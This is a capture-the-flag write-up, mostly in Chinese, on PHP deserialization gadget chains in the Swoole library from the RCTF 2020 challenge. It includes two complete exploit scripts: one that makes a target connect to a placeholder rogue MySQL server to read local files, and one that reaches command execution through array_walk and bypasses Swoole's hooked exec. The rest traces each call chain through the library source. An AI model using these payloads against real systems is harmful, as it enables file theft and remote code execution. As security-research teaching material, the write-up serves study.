Swoole deserialization Gadgets

First Gadgets–Rouge MySQL Server

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
function changeProperty ($object, $property, $value)
{
$a = new ReflectionClass($object);
$b = $a->getProperty($property);
$b->setAccessible(true);
$b->setValue($object, $value);
}

// Part A

$c = new \Swoole\Database\PDOConfig();
$c->withHost('ROUGE_MYSQL_SERVER'); // your rouge-mysql-server host & port
$c->withPort(3306);
$c->withOptions([
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);

$a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());

// Part C

$d = unserialize(base64_decode('TzoyNDoiU3dvb2xlXERhdGFiYXNlXFBET1Byb3h5Ijo0OntzOjExOiIAKgBfX29iamVjdCI7TjtzOjIyOiIAKgBzZXRBdHRyaWJ1dGVDb250ZXh0IjtOO3M6MTQ6IgAqAGNvbnN0cnVjdG9yIjtOO3M6ODoiACoAcm91bmQiO2k6MDt9'));
// This's Swoole\Database\MysqliProxy
changeProperty($d, 'constructor', [$a, 'get']);

$curl = new \Swoole\Curl\Handler('http://www.baidu.com');
$curl->setOpt(CURLOPT_HEADERFUNCTION, [$d, 'reconnect']);
$curl->setOpt(CURLOPT_READFUNCTION, [$d, 'get']);

$ret = new \Swoole\ObjectProxy(new stdClass);
changeProperty($ret, '__object', [$curl, 'exec']);


$s = serialize($ret);
$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {
return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';
}, $s);

echo $s;
echo "\n";

Analysis

Hint

根据上面的提示大概可以猜测出是通过Rogue MySQL Server来读取文件,但是在旧版本中mysql的连接与参数配置顺序是颠倒的

wQN7sU.png

可以看到在左面旧版本中是进行先数据库连接,再进行数据库选项配置。

并且在新版本中进行了更新,修复了Bug。

而Gadgets的挖掘是以旧版本为基础的,所以无法通过mysqli的连接方式配合恶意mysql进行文件读取,但是还有PDO连接可以用,通过可以实现相同的效果。下面就是调用链的分析了

ObjectProxy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
/**
* This file is part of Swoole.
*
* @link https://www.swoole.com
* @contact team@swoole.com
* @license https://github.com/swoole/library/blob/master/LICENSE
*/

declare(strict_types=1);

namespace Swoole;

use TypeError;

class ObjectProxy
{
/** @var object */
protected $__object;

public function __construct($object)
{
if (!is_object($object)) {
throw new TypeError('Non-object given');
}
$this->__object = $object;
}


public function __invoke(...$arguments)
{
/** @var mixed $object */
$object = $this->__object;
return $object(...$arguments);
}
}

最终触发$object(…$arguments);的调用,而如果$object的赋值为[new A,’foo’]这样是可以调用A类的foo方法的,具体的demo如下

wQgXu9.png

所以现在可以进行调用任意类的无参方法了,在这个Gadget中选取的Handler的exec方法

Handler#exec

1
2
3
4
5
6
7
public function exec()
{
if (!$this->isAvailable()) {
return false;
}
return $this->execute();
}

跟进execute函数(关键部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if ($client->headers) {
$cb = $this->headerFunction;
if ($client->statusCode > 0) {
$row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n";
if ($cb) {
$cb($this, $row);
}
$headerContent .= $row;
}
foreach ($client->headers as $k => $v) {
$row = "{$k}: {$v}\r\n";
if ($cb) {
$cb($this, $row);
}
$headerContent .= $row;
}
$headerContent .= "\r\n";
$this->info['header_size'] = strlen($headerContent);
if ($cb) {
$cb($this, '');
}
} else {
$this->info['header_size'] = 0;
}

if ($client->body and $this->readFunction) {
$cb = $this->readFunction;
$cb($this, $this->outputStream, strlen($client->body));
}

可以看到两个关键部分

1
2
3
4
5
6
7
8
$cb = $this->headerFunction;
$cb($this, $row);




$cb = $this->readFunction;
$cb($this, $this->outputStream, strlen($client->body));

将第一个$cb设置为MysqliProxy#reconnect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function reconnect(): void
{
$constructor = $this->constructor;
parent::__construct($constructor());
$this->round++;
/* restore context */
if ($this->charsetContext) {
$this->__object->set_charset($this->charsetContext);
}
if ($this->setOptContext) {
foreach ($this->setOptContext as $opt => $val) {
$this->__object->set_opt($opt, $val);
}
}
if ($this->changeUserContext) {
$this->__object->change_user(...$this->changeUserContext);
}
}

将$constructor设置为ConnectionPool#get

跟进get函数

1
2
3
4
5
6
7
8
9
10
public function get()
{
if ($this->pool === null) {
throw new RuntimeException('Pool has been closed');
}
if ($this->pool->isEmpty() && $this->num < $this->size) {
$this->make();
}
return $this->pool->pop();
}

在满足一定条件的情况下进入make函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function make(): void
{
$this->num++;
try {
if ($this->proxy) {
$connection = new $this->proxy($this->constructor);
} else {
$constructor = $this->constructor;
$connection = $constructor();
}
} catch (Throwable $throwable) {
$this->num--;
throw $throwable;
}
$this->put($connection);
}

从以上代码可以看出make函数可以实例化任意类,所以我们可以将proxy设置为PDOPool,将constructor变量设置为PDOConfig,从而得到一个完整的PDO实例。接着跟进put函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public function put($connection): void
{
if ($this->pool === null) {
return;
}
if ($connection !== null) {
$this->pool->push($connection);
} else {
/* connection broken */
$this->num -= 1;
$this->make();
}
}

在put函数中通过push将已经实例化好的类压入栈中,跟完make函数后,紧接着到下面的pop函数

1
return $this->pool->pop();

将刚压入栈中的实例化PDOPool类弹出并返回作为父类的构造函数的参数传给__object变量

参数设置部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function changeProperty ($object, $property, $value)
{
$a = new ReflectionClass($object);
$b = $a->getProperty($property);
$b->setAccessible(true);
$b->setValue($object, $value);
}

$c = new \Swoole\Database\PDOConfig();
$c->withHost('ROUGE_MYSQL_SERVER'); // your rouge-mysql-server host & port
$c->withPort(3306);
$c->withOptions([
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);


$a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());

跟进父类__construct的构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
class ObjectProxy
{
/** @var object */
protected $__object;

public function __construct($object)
{
if (!is_object($object)) {
throw new TypeError('Non-object given');
}
$this->__object = $object;
}
}

此时ObjectProxy类的__object变量即为我们的PDOPool类

不过还需要注意的是ConnectionPool类中的Pool变量为Channel类,在此版本已经移除了其序列化,所以我们需要fuzz下同时支持isEmpty/pop/Empty三种方法的内部类,fuzz结果如下:

wlcNH1.png

从上面选取一个类使用即可。

接着看第二个$cb的利用,设置Handler类readFunction为MysqliProxy中的get方法

在触发get方法的时候,由于MysqliProxy并不存在这个方法,所以触发__call方法

1
2
3
4
5
6
7
8
9
10
11
    public function __call(string $name, array $arguments)
{
for ($n = 3; $n--;) {
$ret = @$this->__object->{$name}(...$arguments);
if ($ret === false) {
/* non-IO method */
.....
}
/* @noinspection PhpUndefinedVariableInspection */
return $ret;
}

由于MysqliProxy为ObjectProxy类的子类,所以这里实际触发的是PDOPool->get方法,最终完成PDO数据库连接,触发恶意mysql服务器完成数据读取,这里PDOPool类中的Pool变量并不用管,与ConnectPool类不同的是Pool变量是在反序列化的过程生成的,不会存在反序列化数据中。

Conclusion

1.利用反射进行属性修改

2.寻找pop链的时候,注意父类与子类的联系,子类可以用父类的属性,比如在此pop链中MysqliProxy可以用父类ObjectProxy中_object的属性值。

Second Gadgets–RCE

Exploit

1
2
3
4
5
6
7
8
9
10
11
$o = new Swoole\Curl\Handlep("http://google.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('whoami');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep","Handler",urlencode(process_serialized($a)));

Analyisis

主要是从寻找任意类的无参函数的调用开始有所区别

这RCE这条链中主要是对于这种形式如 Func($this,$var,$num)的fuzz。

大概如下

w1RTOg.png

​ 这里主要用到的是array_walk对Object的一些触发,具体demo如下:

w1o3NQ.png

所以正常情况下我们只需要设置下exec就可以完成命令执行了

但是在swoole中的exec调用并不是真正的exec,实际上调用的是hook后的swoole_exec

https://github.com/swoole/swoole-src/blob/f1a66611d8779114afbb0638d18c528689194ac8/swoole_runtime.cc#L1270

在发生错误时会直接产生Fatal Error,终止运行。

可以通过如下方法来bypass

1
2
3
4
5
6
7
8
array_walk($this, array_walk, 1);
$this->exec=array("id")

调用=>

array_walk($client_value,"client",1)=>callback not found => warning

array_walk(array("id"),"exec",1)=> finish RCE

Conclusion

1.array_walk也可以遍历对象来进行函数调用

2.二次array_walk bypass swoole_exec

https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2020/swoole

https://blog.sometimenaive.com/2020/06/04/rctf-2020-swoole-writeup/